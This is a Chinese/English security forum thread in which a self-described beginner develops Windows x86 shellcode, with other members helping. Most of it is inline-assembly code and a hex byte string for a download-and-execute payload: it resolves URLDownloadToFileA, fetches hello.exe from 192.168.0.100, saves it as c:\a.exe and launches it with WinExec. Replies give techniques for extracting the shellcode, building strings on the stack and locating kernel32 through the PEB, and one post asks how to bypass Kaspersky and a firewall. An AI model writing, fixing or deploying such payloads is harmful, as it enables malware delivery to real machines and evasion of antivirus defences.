能力值:
( LV9,RANK:610 )
|
-
-
2 楼
一般是把数据放在代码后面,然后自定位根据偏移来找到数据。。。
|
能力值:
( LV2,RANK:10 )
|
-
-
3 楼
不太明白呀, 大大可否給一個source code
|
能力值:
( LV13,RANK:410 )
|
-
-
4 楼
masm32版,不会C..
PUSH MB_OK OR MB_ICONINFORMATION
call @f
db 'API TEST',0
@@: call @f
db 'HELLO WORLD!',0
@@:push 0
call @f
jmp @next
@@:push MessageBox
retn
@Next: some more code
|
能力值:
( LV6,RANK:90 )
|
-
-
5 楼
....................................
|
能力值:
( LV2,RANK:10 )
|
-
-
6 楼
明白了用_emit
#include <windows.h>
int main(void){
system("pause");
__asm
{
/* PUSH MB_OK OR MB_ICONINFORMATION
call abc
_emit 'H'
_emit 'e'
_emit 'l'
_emit 'l'
_emit 'o'
_emit 0
abc:
call efg
_emit 'H'
_emit 'e'
_emit 'l'
_emit 'l'
_emit 'o'
_emit 0
efg:
push 0
call DWORD PTR [MessageBox]*/
//LoadLibrary
call A
_emit 'u'
_emit 'r'
_emit 'l'
_emit 'm'
_emit 'o'
_emit 'n'
_emit '.'
_emit 'd'
_emit 'l'
_emit 'l'
_emit 0
A:
call DWORD PTR [LoadLibrary]
//GetProcAddress
call B
_emit 'U'
_emit 'R'
_emit 'L'
_emit 'D'
_emit 'o'
_emit 'w'
_emit 'n'
_emit 'l'
_emit 'o'
_emit 'a'
_emit 'd'
_emit 'T'
_emit 'o'
_emit 'F'
_emit 'i'
_emit 'l'
_emit 'e'
_emit 'A'
_emit 0
B:
push eax
call DWORD PTR [GetProcAddress]
//URLDownloadTofile
push 0
push 0
call c
_emit 'c'
_emit ':'
_emit '\\'
_emit 'a'
_emit '.'
_emit 'e'
_emit 'x'
_emit 'e'
_emit 0
c:
call D
_emit 'h'
_emit 't'
_emit 't'
_emit 'p'
_emit ':'
_emit '/'
_emit '/'
_emit '1'
_emit '9'
_emit '2'
_emit '.'
_emit '1'
_emit '6'
_emit '8'
_emit '.'
_emit '0'
_emit '.'
_emit '1'
_emit '0'
_emit '0'
_emit '/'
_emit 'h'
_emit 'e'
_emit 'l'
_emit 'l'
_emit 'o'
_emit '.'
_emit 'e'
_emit 'x'
_emit 'e'
_emit 0
D:
push 0
call eax
// WinExec
push 0
call E
_emit 'c'
_emit ':'
_emit '\\'
_emit 'a'
_emit '.'
_emit 'e'
_emit 'x'
_emit 'e'
_emit 0
E:
call DWORD PTR [WinExec]
}
}
但請問如何寫一個function 自動把_asm 的shellcode print成\0xeb\x10...這樣的代碼??
|
能力值:
( LV9,RANK:610 )
|
-
-
7 楼
BYTE *p=(BYTE*)shellcodefun;
for(int i=0;i<shellcodeLen;i++)
printf("\x%02X",p[i]);
printf("\n");
|
能力值:
( LV2,RANK:10 )
|
-
-
8 楼
shellcodeLen 如何找出來的呀??
///////////////
#include <windows.h>
#include <stdio.h>
#define PROC_BEGIN __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90 \
__asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90
#define PROC_END PROC_BEGIN
void shellcode(){
__asm
{
PROC_BEGIN
/* PUSH MB_OK OR MB_ICONINFORMATION
call abc
_emit 'H'
_emit 'e'
_emit 'l'
_emit 'l'
_emit 'o'
_emit 0
abc:
call efg
_emit 'H'
_emit 'e'
_emit 'l'
_emit 'l'
_emit 'o'
_emit 0
efg:
push 0
call DWORD PTR [MessageBox]*/
//LoadLibrary
call A
_emit 'u'
_emit 'r'
_emit 'l'
_emit 'm'
_emit 'o'
_emit 'n'
_emit '.'
_emit 'd'
_emit 'l'
_emit 'l'
_emit 0
A:
call DWORD PTR [LoadLibrary]
//GetProcAddress
call B
_emit 'U'
_emit 'R'
_emit 'L'
_emit 'D'
_emit 'o'
_emit 'w'
_emit 'n'
_emit 'l'
_emit 'o'
_emit 'a'
_emit 'd'
_emit 'T'
_emit 'o'
_emit 'F'
_emit 'i'
_emit 'l'
_emit 'e'
_emit 'A'
_emit 0
B:
push eax
call DWORD PTR [GetProcAddress]
//URLDownloadTofile
push 0
push 0
call c
_emit 'c'
_emit ':'
_emit '\\'
_emit 'a'
_emit '.'
_emit 'e'
_emit 'x'
_emit 'e'
_emit 0
c:
call D
_emit 'h'
_emit 't'
_emit 't'
_emit 'p'
_emit ':'
_emit '/'
_emit '/'
_emit '1'
_emit '9'
_emit '2'
_emit '.'
_emit '1'
_emit '6'
_emit '8'
_emit '.'
_emit '0'
_emit '.'
_emit '1'
_emit '0'
_emit '0'
_emit '/'
_emit 'h'
_emit 'e'
_emit 'l'
_emit 'l'
_emit 'o'
_emit '.'
_emit 'e'
_emit 'x'
_emit 'e'
_emit 0
D:
push 0
call eax
// WinExec
push 0
call E
_emit 'c'
_emit ':'
_emit '\\'
_emit 'a'
_emit '.'
_emit 'e'
_emit 'x'
_emit 'e'
_emit 0
E:
call DWORD PTR [WinExec]
PROC_END
}
}
int main(void){
int i;
BYTE *p=(BYTE*)shellcode;
for (i=0 ; i<sizeof(p) ; i++)
printf("\\x%02X", p[i]);
printf("\n");
system("pause");
}
Can't work !! how to Edit the program?
|
能力值:
( LV9,RANK:610 )
|
-
-
9 楼
用sizeof肯定是不行的,有\0就截断了。
你可以直接指定shellcodelen为一个比较大的数,比如200就OK了,很直接很好用。
或者用前后做标记的方法来计算长度,但是不一定准确,记得一定要用Release方式编译才可以。
而且,你的shellcode函数必须指定为naked函数才行,否则前后会有很多编译器添加的代码,根本不是你想要的样子。
#include <windows.h>
#include <stdio.h>
#define PROC_BEGIN __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90 \
__asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90
#define PROC_END PROC_BEGIN
__declspec( naked ) void START()
{
_asm nop
}
__declspec( naked ) void shellcode(){
__asm
{
PROC_BEGIN
/* PUSH MB_OK OR MB_ICONINFORMATION*/
call abc
_emit 'H'
_emit 'e'
_emit 'l'
_emit 'l'
_emit 'o'
_emit 0
abc:
call efg
_emit 'H'
_emit 'e'
_emit 'l'
_emit 'l'
_emit 'o'
_emit 0
efg:
push 0
call DWORD PTR [MessageBox]
/**/
//LoadLibrary
call A
_emit 'u'
_emit 'r'
_emit 'l'
_emit 'm'
_emit 'o'
_emit 'n'
_emit '.'
_emit 'd'
_emit 'l'
_emit 'l'
_emit 0
A:
call DWORD PTR [LoadLibrary]
//GetProcAddress
call B
_emit 'U'
_emit 'R'
_emit 'L'
_emit 'D'
_emit 'o'
_emit 'w'
_emit 'n'
_emit 'l'
_emit 'o'
_emit 'a'
_emit 'd'
_emit 'T'
_emit 'o'
_emit 'F'
_emit 'i'
_emit 'l'
_emit 'e'
_emit 'A'
_emit 0
B:
push eax
call DWORD PTR [GetProcAddress]
//URLDownloadTofile
push 0
push 0
call c
_emit 'c'
_emit ':'
_emit '\\'
_emit 'a'
_emit '.'
_emit 'e'
_emit 'x'
_emit 'e'
_emit 0
c:
call D
_emit 'h'
_emit 't'
_emit 't'
_emit 'p'
_emit ':'
_emit '/'
_emit '/'
_emit '1'
_emit '9'
_emit '2'
_emit '.'
_emit '1'
_emit '6'
_emit '8'
_emit '.'
_emit '0'
_emit '.'
_emit '1'
_emit '0'
_emit '0'
_emit '/'
_emit 'h'
_emit 'e'
_emit 'l'
_emit 'l'
_emit 'o'
_emit '.'
_emit 'e'
_emit 'x'
_emit 'e'
_emit 0
D:
push 0
call eax
// WinExec
push 0
call E
_emit 'c'
_emit ':'
_emit '\\'
_emit 'a'
_emit '.'
_emit 'e'
_emit 'x'
_emit 'e'
_emit 0
E:
call DWORD PTR [WinExec]
PROC_END
}
}
__declspec( naked ) void END()
{
_asm nop
}
int main(void)
{
int i;
BYTE *p=(BYTE*)shellcode;
int len=(BYTE*)END-(BYTE*)START;
printf("len=%d\n",len);
for (i=0 ; i<len ; i++)
printf("\\x%02X", p[i]);
printf("\n");
system("pause");
}
|
能力值:
( LV9,RANK:610 )
|
-
-
10 楼
恩恩,不知楼主来自哪里?
|
能力值:
( LV2,RANK:10 )
|
-
-
11 楼
我的kaspersky總是說是virus, 不知道如何bypassed Firewall and Anti-virus??
ps
I am come from HK! and U?
Anyway, Thank you very much for your help!
|
能力值:
( LV2,RANK:10 )
|
-
-
12 楼
其实可以直接通过push指令来构造字符串的
|
能力值:
( LV2,RANK:10 )
|
-
-
13 楼
How? Please tell me how to push string!
//by the way
#include <windows.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#define PROC_BEGIN __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90 \
__asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90
#define PROC_END PROC_BEGIN
__declspec( naked ) void START()
{
_asm nop
}
__declspec( naked ) void shellcode(){
__asm
{
PROC_BEGIN
/* PUSH MB_OK OR MB_ICONINFORMATION*/
/*
call abc
_emit 'H'
_emit 'e'
_emit 'l'
_emit 'l'
_emit 'o'
_emit 0
abc:
call efg
_emit 'H'
_emit 'e'
_emit 'l'
_emit 'l'
_emit 'o'
_emit 0
efg:
push 0
call DWORD PTR [MessageBox]
*/
//LoadLibrary
call A
_emit 'u'
_emit 'r'
_emit 'l'
_emit 'm'
_emit 'o'
_emit 'n'
_emit '.'
_emit 'd'
_emit 'l'
_emit 'l'
_emit 0
A:
call DWORD PTR [LoadLibrary]
//GetProcAddress
call B
_emit 'U'
_emit 'R'
_emit 'L'
_emit 'D'
_emit 'o'
_emit 'w'
_emit 'n'
_emit 'l'
_emit 'o'
_emit 'a'
_emit 'd'
_emit 'T'
_emit 'o'
_emit 'F'
_emit 'i'
_emit 'l'
_emit 'e'
_emit 'A'
_emit 0
B:
push eax
call DWORD PTR [GetProcAddress]
//URLDownloadTofile
push 0
push 0
call c
_emit 'c'
_emit ':'
_emit '\\'
_emit 'a'
_emit '.'
_emit 'e'
_emit 'x'
_emit 'e'
_emit 0
c:
call D
_emit 'h'
_emit 't'
_emit 't'
_emit 'p'
_emit ':'
_emit '/'
_emit '/'
_emit '1'
_emit '9'
_emit '2'
_emit '.'
_emit '1'
_emit '6'
_emit '8'
_emit '.'
_emit '0'
_emit '.'
_emit '1'
_emit '0'
_emit '0'
_emit '/'
_emit 'h'
_emit 'e'
_emit 'l'
_emit 'l'
_emit 'o'
_emit '.'
_emit 'e'
_emit 'x'
_emit 'e'
_emit 0
D:
push 0
call eax
// WinExec
push 0
call E
_emit 'c'
_emit ':'
_emit '\\'
_emit 'a'
_emit '.'
_emit 'e'
_emit 'x'
_emit 'e'
_emit 0
E:
call DWORD PTR [WinExec]
push 0
call DWORD PTR [ExitProcess]
PROC_END
}
}
__declspec( naked ) void END()
{
_asm nop
}
int main(void)
{
unsigned char shellcodeFun[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\xE8\x0B\x00\x00\x00\x75\x72\x6C"
"\x6D\x6F\x6E\x2E\x64\x6C\x6C\x00\xFF\x15\x0C\x70\x40\x00\xE8\x13"
"\x00\x00\x00\x55\x52\x4C\x44\x6F\x77\x6E\x6C\x6F\x61\x64\x54\x6F"
"\x46\x69\x6C\x65\x41\x00\x50\xFF\x15\x08\x70\x40\x00\x6A\x00\x6A"
"\x00\xE8\x09\x00\x00\x00\x63\x3A\x5C\x61\x2E\x65\x78\x65\x00\xE8"
"\x1F\x00\x00\x00\x68\x74\x74\x70\x3A\x2F\x2F\x31\x39\x32\x2E\x31"
"\x36\x38\x2E\x30\x2E\x31\x30\x30\x2F\x68\x65\x6C\x6C\x6F\x2E\x65"
"\x78\x65\x00\x6A\x00\xFF\xD0\x6A\x00\xE8\x09\x00\x00\x00\x63\x3A"
"\x5C\x61\x2E\x65\x78\x65\x00\xFF\x15\x04\x70\x40\x00\x6A\x00\xFF"
"\x15\x60\x70\x40\x00\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
;
((void (*)())shellcodeFun)(); // I can't to run the shellcode!! Why?
//shellcode();
/* int i,j;
BYTE *p=(BYTE*)shellcode;
int len=(BYTE*)END-(BYTE*)START;
printf("len=%d\n",len);
printf("unsigned char shellcodeFun[]=\n");
for (i=0 ; i<len ; ){
printf("\"");
for(j=i ; j<i+16 && j<len; j++)
printf("\\x%02X", p[j]);
printf("\"\n");
i=j;
}
printf(";");
printf("\n");*/
system("pause");
}
I am use the VC6.0 Release mod compile , win 2000 sp0 +32bit!
|
能力值:
( LV2,RANK:10 )
|
-
-
14 楼
取自failwest的深入浅出MS06040
#include <windows.h>
#include <winbase.h>
int main()
{
HINSTANCE LibHandle;
char dllbuf[11] = "user32.dll";
LibHandle = LoadLibrary(dllbuf);
_asm{
sub sp,0x440
xor ebx,ebx
push ebx // cut string
push 0x74736577
push 0x6C696166//push failwest
mov eax,esp //load address of failwest
push ebx
push eax
push eax
push ebx
mov eax,0x77D504EA // address should be reset in different OS
call eax //call MessageboxA
push 0
mov eax,0x7C81CDDA
call eax //call exit(0)
}
}
|
能力值:
( LV9,RANK:610 )
|
-
-
15 楼
我也贴一个我以前写的:
DWORD Kernel32Base;
DWORD AddrLoadLibrary;
//从PEB取Kernel32.dll基址
_asm
{
mov eax,fs:[0x30]
mov eax,[eax+0xC]
mov eax,[eax+0x1C]
mov eax,[eax]
mov eax,[eax+0x08]
mov Kernel32Base,eax
}
//获取用到的各个API的地址
_asm
{
//以下所有用到的字符串都是在栈中直接构造,避免全局变量的出现,不需要重定位
//0x4C6F6164 4C696272 61727941,LoadLibraryA
//取LoadLibraryA地址
//myGetProcAddress(Kernel32Base,"LoadLibraryA")
push 0//作为字符串的结束标记
push 0x41797261//"Ayra"
push 0x7262694C//"rbiL"
push 0x64616F4C//"daoL"
push esp
push Kernel32Base
call myGetProcAddress
mov AddrLoadLibrary,eax
add esp,0x10//恢复堆栈
}
|
能力值:
( LV2,RANK:10 )
|
-
-
16 楼
大概分析了一下,你用_emit 指令来构造字符串,程序运行到那里的时候无法判断到底是指令还是数据,
_emit 'c'
_emit ':'
_emit '\\'
_emit 'a'
_emit '.'
_emit 'e'
_emit 'x'
_emit 'e'
_emit 0
这个不会作为winexec的参数传给该函数,而是当做指令来处理了
所以,还是用push直接在栈中构造字符串吧
|
能力值:
( LV2,RANK:10 )
|
-
-
17 楼
我是菜鸟,只是个人的看法,不知道对不对
|
能力值:
( LV9,RANK:610 )
|
-
-
18 楼
确实不对。。。他虽然是把代码和数据混合在一起的, 但是前面代码的流程决定了那部分数据不会当成指令来执行。。。这要看他的代码怎么写~~
|
能力值:
( LV2,RANK:10 )
|
-
-
19 楼
额。。。不太明白,可以解释下么?应该还是当做指令吧,当然会不会运行是另一回事
|
能力值:
( LV2,RANK:10 )
|
-
-
20 楼
那我原本的那個是不对嗎?? 需要需要重定位?
可以compile但不能運行
|
能力值:
( LV2,RANK:10 )
|
-
-
21 楼
嗯,你用push构造字符串在传递给相应的函数吧,编译器不会检查那种错误的,问题是出现在运行期间而不是编译期间
|
能力值:
( LV2,RANK:10 )
|
-
-
22 楼
Thank you for your help!
I am a beginner !!
|
能力值:
( LV2,RANK:10 )
|
-
-
23 楼
你用OD调试一下就知道什么问题了
|
能力值:
( LV2,RANK:10 )
|
-
-
24 楼
I am a beginner too~
|
能力值:
( LV2,RANK:10 )
|
-
-
25 楼
#include <windows.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#define PROC_BEGIN __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90 \
__asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90
#define PROC_END PROC_BEGIN
__declspec( naked ) void START()
{
_asm nop
}
__declspec( naked ) void shellcode(){
__asm
{
PROC_BEGIN
// MessageBoxA(0,0x62636465,0x62636465,0);
/* sub esp,0x80
xor ebx,ebx
push ebx
push 0x6578
push 0x652e612f
push 0x3030312e
push 0x302e3836
push 0x312e3239
push 0x312f2f3a
push 0x70747468
mov ecx,esp
sub esp,0x30
xor ebx,ebx
push ebx
push 0x6578652e
push 0x615c3a63
mov ebp,esp
push ebx
push ecx
push ebp
push ebx
xor eax,eax
mov eax,0x77e23d68
call eax*/
/* LoadLibraryA("urlmon.dll");
push 0x00006c6c
push 0x642e6e6f
push 0x6d6c7275 */
sub esp,0x30
xor ebx,ebx
push ebx
push 0x00006c6c
push 0x642e6e6f
push 0x6d6c7275
mov eax,esp
push eax
xor eax,eax
mov eax,0x77e78023
call eax
/* GetProcAddress(eax, "URLDownloadToFileA");
push 0x00004165
push 0x6c69466f
push 0x5464616f
push 0x6c6e776f
push 0x444c5255 */
sub esp,0x50
xor ebx,ebx
push ebx
push 0x00004165
push 0x6c69466f
push 0x5464616f
push 0x6c6e776f
push 0x444c5255
mov ebp,esp
push ebp
push eax
xor eax,eax
mov eax,0x77e7564b
call eax // call 完這個API 它應該會返回一個valude, 如何做...??
/* URLDownloadToFile(0,"http://192.168.0.100/hello.exe","C:\\a.exe",0,0);
push 0x00006578
push 0x652e612f
push 0x3030312e
push 0x302e3836
push 0x312e3239
push 0x312f2f3a
push 0x70747468
push 0x6578652e
push 0x615c3a63*/
sub esp,0x30
xor ebx,ebx
push ebx
push 0x6578652e
push 0x615c3a63
mov ebp,esp
sub esp,0x80
xor ebx,ebx
push ebx
push 0x6578
push 0x652e612f
push 0x3030312e
push 0x302e3836
push 0x312e3239
push 0x312f2f3a
push 0x70747468
mov eax,esp
push ebx
push ebx
push ebp
push eax
push ebx
call eax
// WinExec("C:\\a.exe",0);
push 0
sub esp, 0x20
xor ebx,ebx
push ebx
push 0x6578652e
push 0x615c3a63
mov eax,esp
push eax
xor eax,eax
mov eax, 0x77e78601
call eax
//ExitProcess(0);
push 0
mov eax,0x77e7b0bb
call eax
PROC_END
}
}
__declspec( naked ) void END()
{
_asm nop
}
int main(void)
{
HINSTANCE LibHandle;
char dllbuf[11] = "user32.dll";
LibHandle = LoadLibrary(dllbuf);
shellcode();
system("pause");
}
紅色那裡真是不太懂如何做... 我用getprocaddress取得urldownloadtofileA的address
return value 應該放在eax中, 我又push 了 url , path但為何總是無法執行這個API呢...
|
|
|